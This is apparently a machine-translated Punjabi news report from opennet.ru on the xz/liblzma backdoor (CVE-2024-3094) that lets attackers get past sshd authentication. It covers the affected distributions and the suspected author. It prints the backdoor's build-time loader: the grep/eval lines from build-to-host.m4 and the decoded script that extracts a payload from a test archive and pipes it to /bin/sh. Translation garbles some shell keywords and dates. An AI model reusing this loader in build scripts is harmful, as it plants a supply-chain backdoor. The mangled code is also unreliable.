xz/liblzma ਲਾਇਬ੍ਰੇਰੀ ਵਿੱਚ ਇੱਕ ਬੈਕਡੋਰ ਖੋਜਿਆ ਗਿਆ ਸੀ ਜੋ sshd ਦੁਆਰਾ ਪ੍ਰਵੇਸ਼ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ

XZ Utils ਪੈਕੇਜ ਵਿੱਚ, ਜਿਸ ਵਿੱਚ ".xz" ਫਾਰਮੈਟ ਵਿੱਚ ਸੰਕੁਚਿਤ ਡੇਟਾ ਨਾਲ ਕੰਮ ਕਰਨ ਲਈ liblzma ਲਾਇਬ੍ਰੇਰੀ ਅਤੇ ਉਪਯੋਗਤਾਵਾਂ ਸ਼ਾਮਲ ਹਨ, ਇੱਕ ਬੈਕਡੋਰ (CVE-2024-3094) ਦੀ ਪਛਾਣ ਕੀਤੀ ਗਈ ਹੈ ਜੋ ਸੰਬੰਧਿਤ ਐਪਲੀਕੇਸ਼ਨਾਂ ਦੁਆਰਾ ਸੰਸਾਧਿਤ ਡੇਟਾ ਨੂੰ ਰੋਕਣ ਅਤੇ ਸੋਧਣ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ। liblzma ਲਾਇਬ੍ਰੇਰੀ ਦੇ ਨਾਲ. ਬੈਕਡੋਰ ਦਾ ਮੁੱਖ ਨਿਸ਼ਾਨਾ OpenSSH ਸਰਵਰ ਹੈ, ਜੋ ਕਿ ਕੁਝ ਡਿਸਟਰੀਬਿਊਸ਼ਨਾਂ ਵਿੱਚ libsystemd ਲਾਇਬ੍ਰੇਰੀ ਨਾਲ ਬੰਡਲ ਕੀਤਾ ਗਿਆ ਹੈ, ਜੋ ਬਦਲੇ ਵਿੱਚ liblzma ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ। ਇੱਕ ਕਮਜ਼ੋਰ ਲਾਇਬ੍ਰੇਰੀ ਨਾਲ sshd ਨੂੰ ਲਿੰਕ ਕਰਨਾ ਹਮਲਾਵਰਾਂ ਨੂੰ ਪ੍ਰਮਾਣਿਕਤਾ ਤੋਂ ਬਿਨਾਂ SSH ਸਰਵਰ ਤੱਕ ਪਹੁੰਚ ਪ੍ਰਾਪਤ ਕਰਨ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ।

5.6.0 ਫਰਵਰੀ ਅਤੇ 5.6.1 ਮਾਰਚ ਨੂੰ ਪ੍ਰਕਾਸ਼ਿਤ ਅਧਿਕਾਰਤ ਰੀਲੀਜ਼ਾਂ 24 ਅਤੇ 9 ਵਿੱਚ ਬੈਕਡੋਰ ਮੌਜੂਦ ਸੀ, ਜੋ ਕਿ ਕੁਝ ਡਿਸਟਰੀਬਿਊਸ਼ਨਾਂ ਅਤੇ ਰਿਪੋਜ਼ਟਰੀਆਂ ਵਿੱਚ ਪਹੁੰਚਣ ਵਿੱਚ ਕਾਮਯਾਬ ਹੋਏ, ਉਦਾਹਰਣ ਲਈ, ਜੇਨਟੂ, ਆਰਚ ਲੀਨਕਸ, ਡੇਬੀਅਨ ਸਿਡ/ਅਸਥਿਰ, ਫੇਡੋਰਾ ਰਾਵਹਾਈਡ ਅਤੇ 40-ਬੀਟਾ, ਓਪਨਸੂਸੇ ਫੈਕਟਰੀ ਅਤੇ ਟੰਬਲਵੀਡ, ਲਿਬਰੇਈਐਲਈਸੀ, ਐਲਪਾਈਨ ਐਜ, ਸੋਲਸ, ਨਿਕਸੋਸ ਅਸਥਿਰ, ਓਪਨਇੰਡੀਆਨਾ, ਓਪਨਮੈਨਡ੍ਰੀਵਾ ਰੋਲਿੰਗ, ਪੀਕੇਜੀਐਸਆਰਸੀ ਕਰੰਟ, ਸਲੈਕਵੇਅਰ ਕਰੰਟ, ਮੰਜਾਰੋ ਟੈਸਟਿੰਗ। xz 5.6.0 ਅਤੇ 5.6.1 ਰੀਲੀਜ਼ ਦੇ ਸਾਰੇ ਉਪਭੋਗਤਾਵਾਂ ਨੂੰ ਤੁਰੰਤ ਵਰਜਨ 5.4.6 ਤੇ ਵਾਪਸ ਜਾਣ ਦੀ ਸਿਫਾਰਸ਼ ਕੀਤੀ ਜਾਂਦੀ ਹੈ।

ਸਮੱਸਿਆ ਨੂੰ ਘੱਟ ਕਰਨ ਵਾਲੇ ਕਾਰਕਾਂ ਵਿੱਚੋਂ, ਇਹ ਨੋਟ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ ਕਿ ਬੈਕਡੋਰ ਨਾਲ ਲਿਬਲਜ਼ਮਾ ਦਾ ਸੰਸਕਰਣ ਵੱਡੀਆਂ ਡਿਸਟਰੀਬਿਊਸ਼ਨਾਂ ਦੇ ਸਥਿਰ ਰੀਲੀਜ਼ ਦਾ ਹਿੱਸਾ ਨਹੀਂ ਬਣ ਸਕਿਆ, ਪਰ ਓਪਨਸੂਸੇ ਟੰਬਲਵੀਡ ਅਤੇ ਫੇਡੋਰਾ 40-ਬੀਟਾ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਕੀਤਾ। ਆਰਕ ਲੀਨਕਸ ਅਤੇ ਜੈਂਟੂ ਨੇ zx ਦੇ ਇੱਕ ਕਮਜ਼ੋਰ ਸੰਸਕਰਣ ਦੀ ਵਰਤੋਂ ਕੀਤੀ, ਪਰ ਹਮਲੇ ਲਈ ਸੰਵੇਦਨਸ਼ੀਲ ਨਹੀਂ ਹਨ ਕਿਉਂਕਿ ਉਹ openssh ਤੇ systemd-notify ਪੈਚ ਨੂੰ ਲਾਗੂ ਨਹੀਂ ਕਰਦੇ, ਜਿਸ ਕਾਰਨ sshd ਨੂੰ liblzma ਨਾਲ ਜੋੜਿਆ ਜਾਂਦਾ ਹੈ। ਬੈਕਡੋਰ ਸਿਰਫ਼ Linux ਕਰਨਲ ਅਤੇ Glibc C ਲਾਇਬ੍ਰੇਰੀ 'ਤੇ ਆਧਾਰਿਤ x86_64 ਸਿਸਟਮਾਂ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਕਰਦਾ ਹੈ।

ਬੈਕਡੋਰ ਐਕਟੀਵੇਸ਼ਨ ਕੋਡ ਬਿਲਡ-ਟੂ-ਹੋਸਟ.m4 ਫਾਈਲ ਤੋਂ m4 ਮੈਕਰੋਜ਼ ਵਿੱਚ ਲੁਕਿਆ ਹੋਇਆ ਸੀ ਜੋ ਬਿਲਡਿੰਗ ਕਰਦੇ ਸਮੇਂ automake ਟੂਲਕਿੱਟ ਦੁਆਰਾ ਵਰਤੀ ਜਾਂਦੀ ਸੀ। ਅਸੈਂਬਲੀ ਦੇ ਦੌਰਾਨ, ਸੰਚਾਲਨ ਦੀ ਸ਼ੁੱਧਤਾ ਦੀ ਜਾਂਚ ਕਰਨ ਲਈ ਵਰਤੇ ਗਏ ਪੁਰਾਲੇਖਾਂ (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) 'ਤੇ ਆਧਾਰਿਤ ਗੁੰਝਲਦਾਰ ਓਪਰੇਸ਼ਨਾਂ ਦੇ ਅਮਲ ਦੇ ਦੌਰਾਨ, ਖਤਰਨਾਕ ਕੋਡ ਵਾਲੀ ਇੱਕ ਆਬਜੈਕਟ ਫਾਈਲ ਤਿਆਰ ਕੀਤੀ ਗਈ ਸੀ, ਜਿਸ ਵਿੱਚ ਸ਼ਾਮਲ ਸੀ liblzma ਲਾਇਬ੍ਰੇਰੀ ਅਤੇ ਓਪਰੇਸ਼ਨ ਤਰਕ ਨੂੰ ਇਸਦੇ ਕੁਝ ਫੰਕਸ਼ਨਾਂ ਨੂੰ ਬਦਲ ਦਿੱਤਾ ਹੈ। m4 ਮੈਕਰੋ ਜੋ ਬੈਕਡੋਰ ਨੂੰ ਸਰਗਰਮ ਕਰਦੇ ਹਨ, ਰੀਲੀਜ਼ ਟਾਰਬਾਲਾਂ ਵਿੱਚ ਸ਼ਾਮਲ ਕੀਤੇ ਗਏ ਸਨ, ਪਰ ਗਿੱਟ ਰਿਪੋਜ਼ਟਰੀ ਵਿੱਚ ਨਹੀਂ ਸਨ। ਉਸੇ ਸਮੇਂ, ਰਿਪੋਜ਼ਟਰੀ ਵਿੱਚ ਖਤਰਨਾਕ ਟੈਸਟ ਆਰਕਾਈਵ ਮੌਜੂਦ ਸਨ, ਯਾਨੀ. ਬੈਕਡੋਰ ਨੂੰ ਲਾਗੂ ਕਰਨ ਵਾਲੇ ਵਿਅਕਤੀ ਕੋਲ ਰਿਪੋਜ਼ਟਰੀ ਅਤੇ ਰੀਲੀਜ਼ ਜਨਰੇਸ਼ਨ ਪ੍ਰਕਿਰਿਆਵਾਂ ਦੋਵਾਂ ਤੱਕ ਪਹੁੰਚ ਸੀ।

ਐਪਲੀਕੇਸ਼ਨਾਂ ਵਿੱਚ liblzma ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਸਮੇਂ, ਖਤਰਨਾਕ ਤਬਦੀਲੀਆਂ ਦੀ ਵਰਤੋਂ ਡੇਟਾ ਨੂੰ ਰੋਕਣ ਜਾਂ ਸੋਧਣ, ਜਾਂ sshd ਦੇ ਸੰਚਾਲਨ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਕਰਨ ਲਈ ਕੀਤੀ ਜਾ ਸਕਦੀ ਹੈ। ਖਾਸ ਤੌਰ 'ਤੇ, ਖਤਰਨਾਕ ਕੋਡ ਨੇ sshd ਪ੍ਰਮਾਣਿਕਤਾ ਪ੍ਰਕਿਰਿਆ ਨੂੰ ਬਾਈਪਾਸ ਕਰਨ ਲਈ RSA_public_decrypt ਫੰਕਸ਼ਨ ਨੂੰ ਧੋਖਾ ਦਿੱਤਾ ਹੈ। ਪਿਛਲੇ ਦਰਵਾਜ਼ੇ ਵਿੱਚ ਖੋਜ ਤੋਂ ਸੁਰੱਖਿਆ ਸ਼ਾਮਲ ਹੈ ਅਤੇ ਇਹ ਆਪਣੇ ਆਪ ਨੂੰ ਪ੍ਰਗਟ ਨਹੀਂ ਕਰਦਾ ਸੀ ਜਦੋਂ LANG ਅਤੇ TERM ਵਾਤਾਵਰਣ ਵੇਰੀਏਬਲ ਸੈੱਟ ਕੀਤੇ ਗਏ ਸਨ (ਜਿਵੇਂ ਕਿ ਟਰਮੀਨਲ ਵਿੱਚ ਪ੍ਰਕਿਰਿਆ ਨੂੰ ਚਲਾਉਂਦੇ ਸਮੇਂ) ਅਤੇ LD_DEBUG ਅਤੇ LD_PROFILE ਵਾਤਾਵਰਣ ਵੇਰੀਏਬਲ ਸੈੱਟ ਨਹੀਂ ਕੀਤੇ ਗਏ ਸਨ, ਅਤੇ ਇਸਨੂੰ ਚਲਾਉਣ ਵੇਲੇ ਵੀ ਕਿਰਿਆਸ਼ੀਲ ਕੀਤਾ ਗਿਆ ਸੀ। /usr/sbin/sshd ਚੱਲਣਯੋਗ ਫਾਈਲ। ਪਿਛਲੇ ਦਰਵਾਜ਼ੇ ਵਿੱਚ ਡੀਬੱਗ ਵਾਤਾਵਰਨ ਵਿੱਚ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਦਾ ਪਤਾ ਲਗਾਉਣ ਦਾ ਇੱਕ ਸਾਧਨ ਵੀ ਸੀ।

ਖਾਸ ਤੌਰ 'ਤੇ, m4/build-to-host.m4 ਫਾਈਲ ਨੇ gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev/ ਦੀ ਵਰਤੋਂ ਕੀਤੀ ਹੈ। null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1] _prefix -d 2>/dev/null'

ਪਹਿਲੀ ਉਸਾਰੀ ਵਿੱਚ, grep ਓਪਰੇਸ਼ਨ ਨੇ ਫਾਈਲ tests/files/bad-3-corrupt_lzma2.xz ਲੱਭੀ, ਜੋ, ਜਦੋਂ ਅਨਪੈਕ ਕੀਤੀ ਗਈ, ਸਕ੍ਰਿਪਟ ਤਿਆਰ ਕੀਤੀ: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && ਨਿਕਾਸ 0 [ ! $(uname) = "Linux" ] && ਨਿਕਾਸ 0 [ ! $(uname) = "Linux" ] && ਨਿਕਾਸ 0 [ ! $(uname) = "Linux" ] && ਨਿਕਾਸ 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` ਜੇਕਰ ਟੈਸਟ -f ../../config.status; ਫਿਰ eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi ਨਿਰਯਾਤ i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (ਸਿਰ - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

ਹਮਲਾਵਰਾਂ ਨੇ xz ਪ੍ਰੋਜੈਕਟ ਦੇ ਬੁਨਿਆਦੀ ਢਾਂਚੇ ਤੱਕ ਕਿਵੇਂ ਪਹੁੰਚ ਪ੍ਰਾਪਤ ਕੀਤੀ, ਇਸ ਬਾਰੇ ਅਜੇ ਤੱਕ ਪੂਰੀ ਤਰ੍ਹਾਂ ਸਪੱਸ਼ਟ ਨਹੀਂ ਕੀਤਾ ਗਿਆ ਹੈ। ਇਹ ਵੀ ਅਜੇ ਸਪੱਸ਼ਟ ਨਹੀਂ ਹੈ ਕਿ ਪਿਛਲੇ ਦਰਵਾਜ਼ੇ ਦੇ ਨਤੀਜੇ ਵਜੋਂ ਕਿੰਨੇ ਉਪਭੋਗਤਾਵਾਂ ਅਤੇ ਪ੍ਰੋਜੈਕਟਾਂ ਨਾਲ ਸਮਝੌਤਾ ਕੀਤਾ ਗਿਆ ਸੀ। ਬੈਕਡੋਰ ਦੇ ਕਥਿਤ ਲੇਖਕ (JiaT75 - Jia Tan), ਜਿਸਨੇ ਰਿਪੋਜ਼ਟਰੀ ਵਿੱਚ ਖਤਰਨਾਕ ਕੋਡ ਦੇ ਨਾਲ ਪੁਰਾਲੇਖਾਂ ਨੂੰ ਪੋਸਟ ਕੀਤਾ, ਫੇਡੋਰਾ ਡਿਵੈਲਪਰਾਂ ਨਾਲ ਪੱਤਰ ਵਿਹਾਰ ਕੀਤਾ ਅਤੇ xz 5.6.0 ਬ੍ਰਾਂਚ ਵਿੱਚ ਡਿਸਟ੍ਰੀਬਿਊਸ਼ਨਾਂ ਦੀ ਤਬਦੀਲੀ ਨਾਲ ਸਬੰਧਤ ਡੇਬੀਅਨ ਨੂੰ ਪੁੱਲ ਬੇਨਤੀਆਂ ਭੇਜੀਆਂ, ਅਤੇ ਅਜਿਹਾ ਨਹੀਂ ਕੀਤਾ। ਸ਼ੱਕ ਪੈਦਾ ਕਰਦਾ ਹੈ, ਕਿਉਂਕਿ ਉਸਨੇ xz ਵਿੱਚ ਹਿੱਸਾ ਲਿਆ ਸੀ, ਪਿਛਲੇ ਦੋ ਸਾਲਾਂ ਤੋਂ ਵਿਕਾਸ ਕਰ ਰਿਹਾ ਹੈ ਅਤੇ ਕੀਤੀਆਂ ਤਬਦੀਲੀਆਂ ਦੀ ਸੰਖਿਆ ਦੇ ਮਾਮਲੇ ਵਿੱਚ ਦੂਜਾ ਵਿਕਾਸਕਾਰ ਹੈ। xz ਪ੍ਰੋਜੈਕਟ ਤੋਂ ਇਲਾਵਾ, ਬੈਕਡੋਰ ਦੇ ਕਥਿਤ ਲੇਖਕ ਨੇ xz-java ਅਤੇ xz-ਏਮਬੈਡਡ ਪੈਕੇਜਾਂ ਦੇ ਵਿਕਾਸ ਵਿੱਚ ਵੀ ਹਿੱਸਾ ਲਿਆ। ਇਸ ਤੋਂ ਇਲਾਵਾ, ਜੀਆ ਟੈਨ ਨੂੰ ਕੁਝ ਦਿਨ ਪਹਿਲਾਂ ਲੀਨਕਸ ਕਰਨਲ ਵਿੱਚ ਵਰਤੇ ਗਏ XZ ਏਮਬੇਡਡ ਪ੍ਰੋਜੈਕਟ ਦੇ ਰੱਖ-ਰਖਾਅ ਕਰਨ ਵਾਲਿਆਂ ਦੀ ਗਿਣਤੀ ਵਿੱਚ ਸ਼ਾਮਲ ਕੀਤਾ ਗਿਆ ਸੀ।

ssh ਦੁਆਰਾ ਡੇਬੀਅਨ sid-ਅਧਾਰਿਤ ਸਿਸਟਮਾਂ ਨਾਲ ਕਨੈਕਟ ਕਰਨ ਵੇਲੇ ਬਹੁਤ ਜ਼ਿਆਦਾ CPU ਖਪਤ ਅਤੇ valgrind ਦੁਆਰਾ ਤਿਆਰ ਕੀਤੀਆਂ ਗਈਆਂ ਗਲਤੀਆਂ ਦਾ ਵਿਸ਼ਲੇਸ਼ਣ ਕਰਨ ਤੋਂ ਬਾਅਦ ਖਤਰਨਾਕ ਤਬਦੀਲੀ ਖੋਜੀ ਗਈ ਸੀ। ਇਹ ਧਿਆਨ ਦੇਣ ਯੋਗ ਹੈ ਕਿ xz 5.6.1 ਰੀਲੀਜ਼ ਵਿੱਚ ਬੈਕਡੋਰ ਦੇ ਨਾਲ zx 5.6.0 ਸੰਸਕਰਣ ਨੂੰ ਅੱਪਗਰੇਡ ਕਰਨ ਤੋਂ ਬਾਅਦ ਪੈਦਾ ਹੋਈਆਂ sshd ਸੁਸਤੀ ਅਤੇ ਕਰੈਸ਼ਾਂ ਬਾਰੇ ਸ਼ਿਕਾਇਤਾਂ ਦੇ ਜਵਾਬ ਵਿੱਚ ਬੈਕਡੋਰ ਦੇ ਕਥਿਤ ਲੇਖਕ ਦੁਆਰਾ ਤਿਆਰ ਕੀਤੀਆਂ ਤਬਦੀਲੀਆਂ ਸ਼ਾਮਲ ਹਨ। ਇਸ ਤੋਂ ਇਲਾਵਾ, ਪਿਛਲੇ ਸਾਲ Jia Tan ਨੇ ਬਦਲਾਅ ਕੀਤੇ ਜੋ "-fsanitize=address" ਨਿਰੀਖਣ ਮੋਡ ਦੇ ਅਨੁਕੂਲ ਨਹੀਂ ਸਨ, ਜਿਸ ਕਾਰਨ ਇਹ ਫਜ਼ ਟੈਸਟਿੰਗ ਦੌਰਾਨ ਅਸਮਰੱਥ ਹੋ ਗਿਆ ਸੀ।

ਸਰੋਤ: opennet.ru